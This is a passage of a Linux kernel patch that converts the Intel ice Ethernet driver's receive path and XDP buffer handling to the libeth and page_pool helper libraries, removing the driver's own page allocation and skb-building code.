+MODULE_IMPORT_NS("LIBETH");
+MODULE_IMPORT_NS("LIBETH_XDP");
MODULE_IMPORT_NS("LIBIE");
MODULE_IMPORT_NS("LIBIE_ADMINQ");
MODULE_IMPORT_NS("LIBIE_FWLOG");
@@ -3015,19 +3017,11 @@ ice_xdp_setup_prog(struct ice_vsi *vsi,
}
}
xdp_features_set_redirect_target(vsi->netdev, true);
- /* reallocate Rx queues that are used for zero-copy */
- xdp_ring_err = ice_realloc_zc_buf(vsi, true);
- if (xdp_ring_err)
- NL_SET_ERR_MSG_MOD(extack, "Setting up XDP Rx resources failed");
} else if (ice_is_xdp_ena_vsi(vsi) && !prog) {
xdp_features_clear_redirect_target(vsi->netdev);
xdp_ring_err = ice_destroy_xdp_rings(vsi, ICE_XDP_CFG_FULL);
if (xdp_ring_err)
NL_SET_ERR_MSG_MOD(extack, "Freeing XDP Tx resources failed");
- /* reallocate Rx queues that were used for zero-copy */
- xdp_ring_err = ice_realloc_zc_buf(vsi, false);
- if (xdp_ring_err)
- NL_SET_ERR_MSG_MOD(extack, "Freeing XDP Rx resources failed");
}
resume_if:
--- a/drivers/net/ethernet/intel/ice/ice_txrx.c
+++ b/drivers/net/ethernet/intel/ice/ice_txrx.c
@@ -7,6 +7,8 @@
#include <linux/netdevice.h>
#include <linux/prefetch.h>
#include <linux/bpf_trace.h>
+#include <linux/net/intel/libie/rx.h>
+#include <net/libeth/xdp.h>
#include <net/dsfield.h>
#include <net/mpls.h>
#include <net/xdp.h>
@@ -111,7 +113,7 @@ ice_prgm_fdir_fltr(struct ice_vsi *vsi,
static void
ice_unmap_and_free_tx_buf(struct ice_tx_ring *ring, struct ice_tx_buf *tx_buf)
{
- if (dma_unmap_len(tx_buf, len))
+ if (tx_buf->type != ICE_TX_BUF_XDP_TX && dma_unmap_len(tx_buf, len))
dma_unmap_page(ring->dev,
dma_unmap_addr(tx_buf, dma),
dma_unmap_len(tx_buf, len),
@@ -125,7 +127,7 @@ ice_unmap_and_free_tx_buf(struct ice_tx_
dev_kfree_skb_any(tx_buf->skb);
break;
case ICE_TX_BUF_XDP_TX:
- page_frag_free(tx_buf->raw_buf);
+ libeth_xdp_return_va(tx_buf->raw_buf, false);
break;
case ICE_TX_BUF_XDP_XMIT:
xdp_return_frame(tx_buf->xdpf);
@@ -513,54 +515,44 @@ err:
*/
void ice_clean_rx_ring(struct ice_rx_ring *rx_ring)
{
- struct xdp_buff *xdp = &rx_ring->xdp;
- struct device *dev = rx_ring->dev;
+ struct libeth_fq fq = {
+ .fqes = rx_ring->rx_fqes,
+ .pp = rx_ring->pp,
+ };
u32 size;
- u16 i;
-
- /* ring already cleared, nothing to do */
- if (!rx_ring->rx_buf)
- return;
if (rx_ring->xsk_pool) {
ice_xsk_clean_rx_ring(rx_ring);
goto rx_skip_free;
}
- if (xdp->data) {
- xdp_return_buff(xdp);
- xdp->data = NULL;
- }
+ /* ring already cleared, nothing to do */
+ if (!rx_ring->rx_fqes)
+ return;
+
+ libeth_xdp_return_stash(&rx_ring->xdp);
/* Free all the Rx ring sk_buffs */
- for (i = 0; i < rx_ring->count; i++) {
- struct ice_rx_buf *rx_buf = &rx_ring->rx_buf[i];
+ for (u32 i = rx_ring->next_to_clean; i != rx_ring->next_to_use; ) {
+ const struct libeth_fqe *rx_fqes = &rx_ring->rx_fqes[i];
- if (!rx_buf->page)
- continue;
+ libeth_rx_recycle_slow(rx_fqes->netmem);
- /* Invalidate cache lines that may have been written to by
- * device so that we avoid corrupting memory.
- */
- dma_sync_single_range_for_cpu(dev, rx_buf->dma,
- rx_buf->page_offset,
- ICE_RXBUF_3072,
- DMA_FROM_DEVICE);
-
- /* free resources associated with mapping */
- dma_unmap_page_attrs(dev, rx_buf->dma, PAGE_SIZE,
- DMA_FROM_DEVICE, ICE_RX_DMA_ATTR);
- __free_page(rx_buf->page);
+ if (unlikely(++i == rx_ring->count))
+ i = 0;
+ }
- rx_buf->page = NULL;
- rx_buf->page_offset = 0;
+ if (rx_ring->vsi->type == ICE_VSI_PF &&
+ xdp_rxq_info_is_reg(&rx_ring->xdp_rxq)) {
+ xdp_rxq_info_detach_mem_model(&rx_ring->xdp_rxq);
+ xdp_rxq_info_unreg(&rx_ring->xdp_rxq);
}
+ libeth_rx_fq_destroy(&fq);
+ rx_ring->rx_fqes = NULL;
+ rx_ring->pp = NULL;
+
rx_skip_free:
- if (rx_ring->xsk_pool)
- memset(rx_ring->xdp_buf, 0, array_size(rx_ring->count, sizeof(*rx_ring->xdp_buf)));
- else
- memset(rx_ring->rx_buf, 0, array_size(rx_ring->count, sizeof(*rx_ring->rx_buf)));
/* Zero out the descriptor ring */
size = ALIGN(rx_ring->count * sizeof(union ice_32byte_rx_desc),
@@ -569,7 +561,6 @@ rx_skip_free:
rx_ring->next_to_alloc = 0;
rx_ring->next_to_clean = 0;
- rx_ring->first_desc = 0;
rx_ring->next_to_use = 0;
}
@@ -581,26 +572,20 @@ rx_skip_free:
*/
void ice_free_rx_ring(struct ice_rx_ring *rx_ring)
{
+ struct device *dev = ice_pf_to_dev(rx_ring->vsi->back);
u32 size;
ice_clean_rx_ring(rx_ring);
- if (rx_ring->vsi->type == ICE_VSI_PF)
- if (xdp_rxq_info_is_reg(&rx_ring->xdp_rxq))
- xdp_rxq_info_unreg(&rx_ring->xdp_rxq);
WRITE_ONCE(rx_ring->xdp_prog, NULL);
if (rx_ring->xsk_pool) {
kfree(rx_ring->xdp_buf);
rx_ring->xdp_buf = NULL;
- } else {
- kfree(rx_ring->rx_buf);
- rx_ring->rx_buf = NULL;
}
if (rx_ring->desc) {
size = ALIGN(rx_ring->count * sizeof(union ice_32byte_rx_desc),
PAGE_SIZE);
- dmam_free_coherent(rx_ring->dev, size,
- rx_ring->desc, rx_ring->dma);
+ dmam_free_coherent(dev, size, rx_ring->desc, rx_ring->dma);
rx_ring->desc = NULL;
}
}
@@ -613,19 +598,9 @@ void ice_free_rx_ring(struct ice_rx_ring
*/
int ice_setup_rx_ring(struct ice_rx_ring *rx_ring)
{
- struct device *dev = rx_ring->dev;
+ struct device *dev = ice_pf_to_dev(rx_ring->vsi->back);
u32 size;
- if (!dev)
- return -ENOMEM;
-
- /* warn if we are about to overwrite the pointer */
- WARN_ON(rx_ring->rx_buf);
- rx_ring->rx_buf =
- kcalloc(rx_ring->count, sizeof(*rx_ring->rx_buf), GFP_KERNEL);
- if (!rx_ring->rx_buf)
- return -ENOMEM;
-
/* round up to nearest page */
size = ALIGN(rx_ring->count * sizeof(union ice_32byte_rx_desc),
PAGE_SIZE);
@@ -634,22 +609,16 @@ int ice_setup_rx_ring(struct ice_rx_ring
if (!rx_ring->desc) {
dev_err(dev, "Unable to allocate memory for the Rx descriptor ring, size=%d\n",
size);
- goto err;
+ return -ENOMEM;
}
rx_ring->next_to_use = 0;
rx_ring->next_to_clean = 0;
- rx_ring->first_desc = 0;
if (ice_is_xdp_ena_vsi(rx_ring->vsi))
WRITE_ONCE(rx_ring->xdp_prog, rx_ring->vsi->xdp_prog);
return 0;
-
-err:
- kfree(rx_ring->rx_buf);
- rx_ring->rx_buf = NULL;
- return -ENOMEM;
}
/**
@@ -663,7 +632,7 @@ err:
* Returns any of ICE_XDP_{PASS, CONSUMED, TX, REDIR}
*/
static u32
-ice_run_xdp(struct ice_rx_ring *rx_ring, struct xdp_buff *xdp,
+ice_run_xdp(struct ice_rx_ring *rx_ring, struct libeth_xdp_buff *xdp,
struct bpf_prog *xdp_prog, struct ice_tx_ring *xdp_ring,
union ice_32b_rx_flex_desc *eop_desc)
{
@@ -673,23 +642,23 @@ ice_run_xdp(struct ice_rx_ring *rx_ring,
if (!xdp_prog)
goto exit;
- ice_xdp_meta_set_desc(xdp, eop_desc);
+ xdp->desc = eop_desc;
- act = bpf_prog_run_xdp(xdp_prog, xdp);
+ act = bpf_prog_run_xdp(xdp_prog, &xdp->base);
switch (act) {
case XDP_PASS:
break;
case XDP_TX:
if (static_branch_unlikely(&ice_xdp_locking_key))
spin_lock(&xdp_ring->tx_lock);
- ret = __ice_xmit_xdp_ring(xdp, xdp_ring, false);
+ ret = __ice_xmit_xdp_ring(&xdp->base, xdp_ring, false);
if (static_branch_unlikely(&ice_xdp_locking_key))
spin_unlock(&xdp_ring->tx_lock);
if (ret == ICE_XDP_CONSUMED)
goto out_failure;
break;
case XDP_REDIRECT:
- if (xdp_do_redirect(rx_ring->netdev, xdp, xdp_prog))
+ if (xdp_do_redirect(rx_ring->netdev, &xdp->base, xdp_prog))
goto out_failure;
ret = ICE_XDP_REDIR;
break;
@@ -701,8 +670,10 @@ out_failure:
trace_xdp_exception(rx_ring->netdev, xdp_prog, act);
fallthrough;
case XDP_DROP:
+ libeth_xdp_return_buff(xdp);
ret = ICE_XDP_CONSUMED;
}
+
exit:
return ret;
}
@@ -791,48 +762,6 @@ ice_xdp_xmit(struct net_device *dev, int
}
/**
- * ice_alloc_mapped_page - recycle or make a new page
- * @rx_ring: ring to use
- * @bi: rx_buf struct to modify
- *
- * Returns true if the page was successfully allocated or
- * reused.
- */
-static bool
-ice_alloc_mapped_page(struct ice_rx_ring *rx_ring, struct ice_rx_buf *bi)
-{
- struct page *page = bi->page;
- dma_addr_t dma;
-
- /* alloc new page for storage */
- page = dev_alloc_pages(ice_rx_pg_order(rx_ring));
- if (unlikely(!page)) {
- rx_ring->ring_stats->rx_stats.alloc_page_failed++;
- return false;
- }
-
- /* map page for use */
- dma = dma_map_page_attrs(rx_ring->dev, page, 0, PAGE_SIZE,
- DMA_FROM_DEVICE, ICE_RX_DMA_ATTR);
-
- /* if mapping failed free memory back to system since
- * there isn't much point in holding memory we can't use
- */
- if (dma_mapping_error(rx_ring->dev, dma)) {
- __free_pages(page, ice_rx_pg_order(rx_ring));
- rx_ring->ring_stats->rx_stats.alloc_page_failed++;
- return false;
- }
-
- bi->dma = dma;
- bi->page = page;
- bi->page_offset = rx_ring->rx_offset;
- page_ref_add(page, USHRT_MAX - 1);
-
- return true;
-}
-
-/**
* ice_init_ctrl_rx_descs - Initialize Rx descriptors for control vsi.
* @rx_ring: ring to init descriptors on
* @count: number of descriptors to initialize
@@ -878,9 +807,14 @@ void ice_init_ctrl_rx_descs(struct ice_r
*/
bool ice_alloc_rx_bufs(struct ice_rx_ring *rx_ring, unsigned int cleaned_count)
{
+ const struct libeth_fq_fp fq = {
+ .pp = rx_ring->pp,
+ .fqes = rx_ring->rx_fqes,
+ .truesize = rx_ring->truesize,
+ .count = rx_ring->count,
+ };
union ice_32b_rx_flex_desc *rx_desc;
u16 ntu = rx_ring->next_to_use;
- struct ice_rx_buf *bi;
/* do nothing if no valid netdev defined */
if (!rx_ring->netdev || !cleaned_count)
@@ -888,30 +822,25 @@ bool ice_alloc_rx_bufs(struct ice_rx_rin
/* get the Rx descriptor and buffer based on next_to_use */
rx_desc = ICE_RX_DESC(rx_ring, ntu);
- bi = &rx_ring->rx_buf[ntu];
do {
- /* if we fail here, we have work remaining */
- if (!ice_alloc_mapped_page(rx_ring, bi))
- break;
+ dma_addr_t addr;
- /* sync the buffer for use by the device */
- dma_sync_single_range_for_device(rx_ring->dev, bi->dma,
- bi->page_offset,
- ICE_RXBUF_3072,
- DMA_FROM_DEVICE);
+ addr = libeth_rx_alloc(&fq, ntu);
+ if (addr == DMA_MAPPING_ERROR) {
+ rx_ring->ring_stats->rx_stats.alloc_page_failed++;
+ break;
+ }
/* Refresh the desc even if buffer_addrs didn't change
* because each write-back erases this info.
*/
- rx_desc->read.pkt_addr = cpu_to_le64(bi->dma + bi->page_offset);
+ rx_desc->read.pkt_addr = cpu_to_le64(addr);
rx_desc++;
- bi++;
ntu++;
if (unlikely(ntu == rx_ring->count)) {
rx_desc = ICE_RX_DESC(rx_ring, 0);
- bi = rx_ring->rx_buf;
ntu = 0;
}
@@ -928,205 +857,6 @@ bool ice_alloc_rx_bufs(struct ice_rx_rin
}
/**
- * ice_add_xdp_frag - Add contents of Rx buffer to xdp buf as a frag
- * @rx_ring: Rx descriptor ring to transact packets on
- * @xdp: xdp buff to place the data into
- * @rx_buf: buffer containing page to add
- * @size: packet length from rx_desc
- *
- * This function will add the data contained in rx_buf->page to the xdp buf.
- * It will just attach the page as a frag.
- */
-static int
-ice_add_xdp_frag(struct ice_rx_ring *rx_ring, struct xdp_buff *xdp,
- struct ice_rx_buf *rx_buf, const unsigned int size)
-{
- struct skb_shared_info *sinfo = xdp_get_shared_info_from_buff(xdp);
-
- if (!size)
- return 0;
-
- if (!xdp_buff_has_frags(xdp)) {
- sinfo->nr_frags = 0;
- sinfo->xdp_frags_size = 0;
- xdp_buff_set_frags_flag(xdp);
- }
-
- if (unlikely(sinfo->nr_frags == MAX_SKB_FRAGS))
- return -ENOMEM;
-
- __skb_fill_page_desc_noacc(sinfo, sinfo->nr_frags++, rx_buf->page,
- rx_buf->page_offset, size);
- sinfo->xdp_frags_size += size;
-
- if (page_is_pfmemalloc(rx_buf->page))
- xdp_buff_set_frag_pfmemalloc(xdp);
-
- return 0;
-}
-
-/**
- * ice_get_rx_buf - Fetch Rx buffer and synchronize data for use
- * @rx_ring: Rx descriptor ring to transact packets on
- * @size: size of buffer to add to skb
- * @ntc: index of next to clean element
- *
- * This function will pull an Rx buffer from the ring and synchronize it
- * for use by the CPU.
- */
-static struct ice_rx_buf *
-ice_get_rx_buf(struct ice_rx_ring *rx_ring, const unsigned int size,
- const unsigned int ntc)
-{
- struct ice_rx_buf *rx_buf;
-
- rx_buf = &rx_ring->rx_buf[ntc];
- prefetchw(rx_buf->page);
-
- if (!size)
- return rx_buf;
- /* we are reusing so sync this buffer for CPU use */
- dma_sync_single_range_for_cpu(rx_ring->dev, rx_buf->dma,
- rx_buf->page_offset, size,
- DMA_FROM_DEVICE);
-
- return rx_buf;
-}
-
-/**
- * ice_get_pgcnts - grab page_count() for gathered fragments
- * @rx_ring: Rx descriptor ring to store the page counts on
- * @ntc: the next to clean element (not included in this frame!)
- *
- * This function is intended to be called right before running XDP
- * program so that the page recycling mechanism will be able to take
- * a correct decision regarding underlying pages; this is done in such
- * way as XDP program can change the refcount of page
- */
-static void ice_get_pgcnts(struct ice_rx_ring *rx_ring, unsigned int ntc)
-{
- u32 idx = rx_ring->first_desc;
- struct ice_rx_buf *rx_buf;
- u32 cnt = rx_ring->count;
-
- while (idx != ntc) {
- rx_buf = &rx_ring->rx_buf[idx];
- rx_buf->pgcnt = page_count(rx_buf->page);
-
- if (++idx == cnt)
- idx = 0;
- }
-}
-
-/**
- * ice_build_skb - Build skb around an existing buffer
- * @rx_ring: Rx descriptor ring to transact packets on
- * @xdp: xdp_buff pointing to the data
- *
- * This function builds an skb around an existing XDP buffer, taking care
- * to set up the skb correctly and avoid any memcpy overhead. Driver has
- * already combined frags (if any) to skb_shared_info.
- */
-static struct sk_buff *
-ice_build_skb(struct ice_rx_ring *rx_ring, struct xdp_buff *xdp)
-{
- u8 metasize = xdp->data - xdp->data_meta;
- struct skb_shared_info *sinfo = NULL;
- unsigned int nr_frags;
- struct sk_buff *skb;
-
- if (unlikely(xdp_buff_has_frags(xdp))) {
- sinfo = xdp_get_shared_info_from_buff(xdp);
- nr_frags = sinfo->nr_frags;
- }
-
- /* Prefetch first cache line of first page. If xdp->data_meta
- * is unused, this points exactly as xdp->data, otherwise we
- * likely have a consumer accessing first few bytes of meta
- * data, and then actual data.
- */
- net_prefetch(xdp->data_meta);
- /* build an skb around the page buffer */
- skb = napi_build_skb(xdp->data_hard_start, xdp->frame_sz);
- if (unlikely(!skb))
- return NULL;
-
- /* must to record Rx queue, otherwise OS features such as
- * symmetric queue won't work
- */
- skb_record_rx_queue(skb, rx_ring->q_index);
-
- /* update pointers within the skb to store the data */
- skb_reserve(skb, xdp->data - xdp->data_hard_start);
- __skb_put(skb, xdp->data_end - xdp->data);
- if (metasize)
- skb_metadata_set(skb, metasize);
-
- if (unlikely(xdp_buff_has_frags(xdp)))
- xdp_update_skb_frags_info(skb, nr_frags, sinfo->xdp_frags_size,
- nr_frags * xdp->frame_sz,
- xdp_buff_get_skb_flags(xdp));
-
- return skb;
-}
-
-/**
- * ice_put_rx_buf - Clean up used buffer and either recycle or free
- * @rx_ring: Rx descriptor ring to transact packets on
- * @rx_buf: Rx buffer to pull data from
- *
- * This function will clean up the contents of the rx_buf. It will either
- * recycle the buffer or unmap it and free the associated resources.
- */
-static void
-ice_put_rx_buf(struct ice_rx_ring *rx_ring, struct ice_rx_buf *rx_buf)
-{
- if (!rx_buf)
- return;
-
- /* we are not reusing the buffer so unmap it */
- dma_unmap_page_attrs(rx_ring->dev, rx_buf->dma,
- PAGE_SIZE, DMA_FROM_DEVICE,
- ICE_RX_DMA_ATTR);
-
- /* clear contents of buffer_info */
- rx_buf->page = NULL;
-}
-
-/**
- * ice_put_rx_mbuf - ice_put_rx_buf() caller, for all buffers in frame
- * @rx_ring: Rx ring with all the auxiliary data
- * @xdp: XDP buffer carrying linear + frags part
- * @ntc: the next to clean element (not included in this frame!)
- * @verdict: return code from XDP program execution
- *
- * Called after XDP program is completed, or on error with verdict set to
- * ICE_XDP_CONSUMED.
- *
- * Walk through buffers from first_desc to the end of the frame, releasing
- * buffers and satisfying internal page recycle mechanism. The action depends
- * on verdict from XDP program.
- */
-static void ice_put_rx_mbuf(struct ice_rx_ring *rx_ring, struct xdp_buff *xdp,
- u32 ntc, u32 verdict)
-{
- u32 idx = rx_ring->first_desc;
- u32 cnt = rx_ring->count;
- struct ice_rx_buf *buf;
-
- while (idx != ntc) {
- buf = &rx_ring->rx_buf[idx];
- if (++idx == cnt)
- idx = 0;
-
- ice_put_rx_buf(rx_ring, buf);
- }
-
- xdp->data = NULL;
- rx_ring->first_desc = ntc;
-}
-
-/**
* ice_clean_ctrl_rx_irq - Clean descriptors from flow director Rx ring
* @rx_ring: Rx descriptor ring for ctrl_vsi to transact packets on
*
@@ -1160,9 +890,8 @@ void ice_clean_ctrl_rx_irq(struct ice_rx
total_rx_pkts++;
}
- rx_ring->first_desc = ntc;
rx_ring->next_to_clean = ntc;
- ice_init_ctrl_rx_descs(rx_ring, ICE_RX_DESC_UNUSED(rx_ring));
+ ice_init_ctrl_rx_descs(rx_ring, ICE_DESC_UNUSED(rx_ring));
}
/**
@@ -1180,16 +909,17 @@ void ice_clean_ctrl_rx_irq(struct ice_rx
static int ice_clean_rx_irq(struct ice_rx_ring *rx_ring, int budget)
{
unsigned int total_rx_bytes = 0, total_rx_pkts = 0;
- unsigned int offset = rx_ring->rx_offset;
- struct xdp_buff *xdp = &rx_ring->xdp;
struct ice_tx_ring *xdp_ring = NULL;
struct bpf_prog *xdp_prog = NULL;
u32 ntc = rx_ring->next_to_clean;
+ LIBETH_XDP_ONSTACK_BUFF(xdp);
u32 cached_ntu, xdp_verdict;
u32 cnt = rx_ring->count;
u32 xdp_xmit = 0;
bool failure;
+ libeth_xdp_init_buff(xdp, &rx_ring->xdp, &rx_ring->xdp_rxq);
+
xdp_prog = READ_ONCE(rx_ring->xdp_prog);
if (xdp_prog) {
xdp_ring = rx_ring->xdp_ring;
@@ -1199,7 +929,7 @@ static int ice_clean_rx_irq(struct ice_r
/* start the loop to process Rx packets bounded by 'budget' */
while (likely(total_rx_pkts < (unsigned int)budget)) {
union ice_32b_rx_flex_desc *rx_desc;
- struct ice_rx_buf *rx_buf;
+ struct libeth_fqe *rx_buf;
struct sk_buff *skb;
unsigned int size;
u16 stat_err_bits;
@@ -1228,65 +958,47 @@ static int ice_clean_rx_irq(struct ice_r
size = le16_to_cpu(rx_desc->wb.pkt_len) &
ICE_RX_FLX_DESC_PKT_LEN_M;
+ stat_err_bits = BIT(ICE_RX_FLEX_DESC_STATUS0_RXE_S);
+ if (unlikely(ice_test_staterr(rx_desc->wb.status_error0,
+ stat_err_bits)))
+ size = 0;
+
/* retrieve a buffer from the ring */
- rx_buf = ice_get_rx_buf(rx_ring, size, ntc);
+ rx_buf = &rx_ring->rx_fqes[ntc];
+ libeth_xdp_process_buff(xdp, rx_buf, size);
- /* Increment ntc before calls to ice_put_rx_mbuf() */
if (++ntc == cnt)
ntc = 0;
- if (!xdp->data) {
- void *hard_start;
-
- hard_start = page_address(rx_buf->page) + rx_buf->page_offset -
- offset;
- xdp_prepare_buff(xdp, hard_start, offset, size, !!offset);
- xdp_buff_clear_frags_flag(xdp);
- } else if (ice_add_xdp_frag(rx_ring, xdp, rx_buf, size)) {
- ice_put_rx_mbuf(rx_ring, xdp, ntc, ICE_XDP_CONSUMED);
- break;
- }
-
/* skip if it is NOP desc */
- if (ice_is_non_eop(rx_ring, rx_desc))
+ if (ice_is_non_eop(rx_ring, rx_desc) || unlikely(!xdp->data))
continue;
- ice_get_pgcnts(rx_ring, ntc);
xdp_verdict = ice_run_xdp(rx_ring, xdp, xdp_prog, xdp_ring, rx_desc);
if (xdp_verdict == ICE_XDP_PASS)
goto construct_skb;
- total_rx_bytes += xdp_get_buff_len(xdp);
- total_rx_pkts++;
- ice_put_rx_mbuf(rx_ring, xdp, ntc, xdp_verdict);
- xdp_xmit |= xdp_verdict & (ICE_XDP_TX | ICE_XDP_REDIR);
+ if (xdp_verdict & (ICE_XDP_TX | ICE_XDP_REDIR))
+ xdp_xmit |= xdp_verdict;
+ total_rx_bytes += xdp_get_buff_len(&xdp->base);
+ total_rx_pkts++;
+ xdp->data = NULL;
continue;
+
construct_skb:
- skb = ice_build_skb(rx_ring, xdp);
+ skb = xdp_build_skb_from_buff(&xdp->base);
+ xdp->data = NULL;
+
/* exit if we failed to retrieve a buffer */
if (!skb) {
+ libeth_xdp_return_buff_slow(xdp);
rx_ring->ring_stats->rx_stats.alloc_buf_failed++;
- xdp_verdict = ICE_XDP_CONSUMED;
- }
- ice_put_rx_mbuf(rx_ring, xdp, ntc, xdp_verdict);
-
- if (!skb)
- break;
-
- stat_err_bits = BIT(ICE_RX_FLEX_DESC_STATUS0_RXE_S);
- if (unlikely(ice_test_staterr(rx_desc->wb.status_error0,
- stat_err_bits))) {
- dev_kfree_skb_any(skb);
continue;
}
vlan_tci = ice_get_vlan_tci(rx_desc);
- /* pad the skb if needed, to make a valid ethernet frame */
- if (eth_skb_pad(skb))
- continue;
-
/* probably a little skewed due to removing CRC */
total_rx_bytes += skb->len;
@@ -1303,11 +1015,13 @@ construct_skb:
rx_ring->next_to_clean = ntc;
/* return up to cleaned_count buffers to hardware */
- failure = ice_alloc_rx_bufs(rx_ring, ICE_RX_DESC_UNUSED(rx_ring));
+ failure = ice_alloc_rx_bufs(rx_ring, ICE_DESC_UNUSED(rx_ring));
if (xdp_xmit)
ice_finalize_xdp_rx(xdp_ring, xdp_xmit, cached_ntu);
+ libeth_xdp_save_buff(&rx_ring->xdp, xdp);
+
if (rx_ring->ring_stats)
ice_update_rx_ring_stats(rx_ring, total_rx_pkts,
total_rx_bytes);
--- a/drivers/net/ethernet/intel/ice/ice_txrx.h
+++ b/drivers/net/ethernet/intel/ice/ice_txrx.h
@@ -4,6 +4,8 @@
#ifndef _ICE_TXRX_H_
#define _ICE_TXRX_H_
+#include <net/libeth/types.h>
+
#include "ice_type.h"
#define ICE_DFLT_IRQ_WORK 256
@@ -27,8 +29,6 @@
#define ICE_MAX_TXQ_PER_TXQG 128
-#define ICE_SKB_PAD (NET_SKB_PAD + NET_IP_ALIGN)
-
/* We are assuming that the cache line is always 64 Bytes here for ice.
* In order to make sure that is a correct assumption there is a check in probe
* to print a warning if the read from GLPCI_CNF2 tells us that the cache line
@@ -48,10 +48,6 @@
(u16)((((R)->next_to_clean > (R)->next_to_use) ? 0 : (R)->count) + \
(R)->next_to_clean - (R)->next_to_use - 1)
-#define ICE_RX_DESC_UNUSED(R) \
- ((((R)->first_desc > (R)->next_to_use) ? 0 : (R)->count) + \
- (R)->first_desc - (R)->next_to_use - 1)
-
#define ICE_RING_QUARTER(R) ((R)->count >> 2)
#define ICE_TX_FLAGS_TSO BIT(0)
@@ -133,13 +129,6 @@ struct ice_tx_offload_params {
u8 header_len;
};
-struct ice_rx_buf {
- dma_addr_t dma;
- struct page *page;
- unsigned int page_offset;
- unsigned int pgcnt;
-};
-
struct ice_q_stats {
u64 pkts;
u64 bytes;
@@ -205,15 +194,6 @@ struct ice_pkt_ctx {
__be16 vlan_proto;
};
-struct ice_xdp_buff {
- struct xdp_buff xdp_buff;
- const union ice_32b_rx_flex_desc *eop_desc;
- const struct ice_pkt_ctx *pkt_ctx;
-};
-
-/* Required for compatibility with xdp_buffs from xsk_pool */
-static_assert(offsetof(struct ice_xdp_buff, xdp_buff) == 0);
-
/* indices into GLINT_ITR registers */
#define ICE_RX_ITR ICE_IDX_ITR0
#define ICE_TX_ITR ICE_IDX_ITR1
@@ -266,7 +246,7 @@ struct ice_tstamp_ring {
struct ice_rx_ring {
/* CL1 - 1st cacheline starts here */
void *desc; /* Descriptor ring memory */
- struct device *dev; /* Used for DMA mapping */
+ struct page_pool *pp;
struct net_device *netdev; /* netdev ring maps to */
struct ice_vsi *vsi; /* Backreference to associated VSI */
struct ice_q_vector *q_vector; /* Backreference to associated vector */
@@ -278,14 +258,16 @@ struct ice_rx_ring {
u16 next_to_alloc;
union {
- struct ice_rx_buf *rx_buf;
+ struct libeth_fqe *rx_fqes;
struct xdp_buff **xdp_buf;
};
+
/* CL2 - 2nd cacheline starts here */
union {
- struct ice_xdp_buff xdp_ext;
- struct xdp_buff xdp;
+ struct libeth_xdp_buff_stash xdp;
+ struct libeth_xdp_buff *xsk;
};
+
/* CL3 - 3rd cacheline starts here */
union {
struct ice_pkt_ctx pkt_ctx;
@@ -295,12 +277,11 @@ struct ice_rx_ring {
};
};
struct bpf_prog *xdp_prog;
- u16 rx_offset;
/* used in interrupt processing */
u16 next_to_use;
u16 next_to_clean;
- u16 first_desc;
+ u32 truesize;
/* stats structs */
struct ice_ring_stats *ring_stats;
--- a/drivers/net/ethernet/intel/ice/ice_txrx_lib.c
+++ b/drivers/net/ethernet/intel/ice/ice_txrx_lib.c
@@ -3,6 +3,7 @@
#include <linux/filter.h>
#include <linux/net/intel/libie/rx.h>
+#include <net/libeth/xdp.h>
#include "ice_txrx_lib.h"
#include "ice_eswitch.h"
@@ -230,9 +231,12 @@ ice_process_skb_fields(struct ice_rx_rin
if (ice_is_port_repr_netdev(netdev))
ice_repr_inc_rx_stats(netdev, skb->len);
+
+ /* __skb_push() is needed because xdp_build_skb_from_buff()
+ * calls eth_type_trans()
+ */
+ __skb_push(skb, ETH_HLEN);
skb->protocol = eth_type_trans(skb, netdev);
- } else {
- skb->protocol = eth_type_trans(skb, rx_ring->netdev);
}
ice_rx_csum(rx_ring, skb, rx_desc, ptype);
@@ -270,19 +274,18 @@ static void
ice_clean_xdp_tx_buf(struct device *dev, struct ice_tx_buf *tx_buf,
struct xdp_frame_bulk *bq)
{
- dma_unmap_single(dev, dma_unmap_addr(tx_buf, dma),
- dma_unmap_len(tx_buf, len), DMA_TO_DEVICE);
- dma_unmap_len_set(tx_buf, len, 0);
-
switch (tx_buf->type) {
case ICE_TX_BUF_XDP_TX:
- page_frag_free(tx_buf->raw_buf);
+ libeth_xdp_return_va(tx_buf->raw_buf, true);
break;
case ICE_TX_BUF_XDP_XMIT:
+ dma_unmap_single(dev, dma_unmap_addr(tx_buf, dma),
+ dma_unmap_len(tx_buf, len), DMA_TO_DEVICE);
xdp_return_frame_bulk(tx_buf->xdpf, bq);
break;
}
+ dma_unmap_len_set(tx_buf, len, 0);
tx_buf->type = ICE_TX_BUF_EMPTY;
}
@@ -377,9 +380,11 @@ int __ice_xmit_xdp_ring(struct xdp_buff
struct ice_tx_buf *tx_buf;
u32 cnt = xdp_ring->count;
void *data = xdp->data;
+ struct page *page;
u32 nr_frags = 0;
u32 free_space;
u32 frag = 0;
+ u32 offset;
free_space = ICE_DESC_UNUSED(xdp_ring);
if (free_space < ICE_RING_QUARTER(xdp_ring))
@@ -399,24 +404,28 @@ int __ice_xmit_xdp_ring(struct xdp_buff
tx_head = &xdp_ring->tx_buf[ntu];
tx_buf = tx_head;
+ page = virt_to_page(data);
+ offset = offset_in_page(xdp->data);
+
for (;;) {
dma_addr_t dma;
- dma = dma_map_single(dev, data, size, DMA_TO_DEVICE);
- if (dma_mapping_error(dev, dma))
- goto dma_unmap;
-
- /* record length, and DMA address */
- dma_unmap_len_set(tx_buf, len, size);
- dma_unmap_addr_set(tx_buf, dma, dma);
-
if (frame) {
+ dma = dma_map_single(dev, data, size, DMA_TO_DEVICE);
+ if (dma_mapping_error(dev, dma))
+ goto dma_unmap;
tx_buf->type = ICE_TX_BUF_FRAG;
} else {
+ dma = page_pool_get_dma_addr(page) + offset;
+ dma_sync_single_for_device(dev, dma, size, DMA_BIDIRECTIONAL);
tx_buf->type = ICE_TX_BUF_XDP_TX;
tx_buf->raw_buf = data;
}
+ /* record length, and DMA address */
+ dma_unmap_len_set(tx_buf, len, size);
+ dma_unmap_addr_set(tx_buf, dma, dma);
+
tx_desc->buf_addr = cpu_to_le64(dma);
tx_desc->cmd_type_offset_bsz = ice_build_ctob(0, 0, size, 0);
@@ -430,6 +439,8 @@ int __ice_xmit_xdp_ring(struct xdp_buff
tx_desc = ICE_TX_DESC(xdp_ring, ntu);
tx_buf = &xdp_ring->tx_buf[ntu];
+ page = skb_frag_page(&sinfo->frags[frag]);
+ offset = skb_frag_off(&sinfo->frags[frag]);
data = skb_frag_address(&sinfo->frags[frag]);
size = skb_frag_size(&sinfo->frags[frag]);
frag++;
@@ -514,10 +525,13 @@ void ice_finalize_xdp_rx(struct ice_tx_r
*/
static int ice_xdp_rx_hw_ts(const struct xdp_md *ctx, u64 *ts_ns)
{
- const struct ice_xdp_buff *xdp_ext = (void *)ctx;
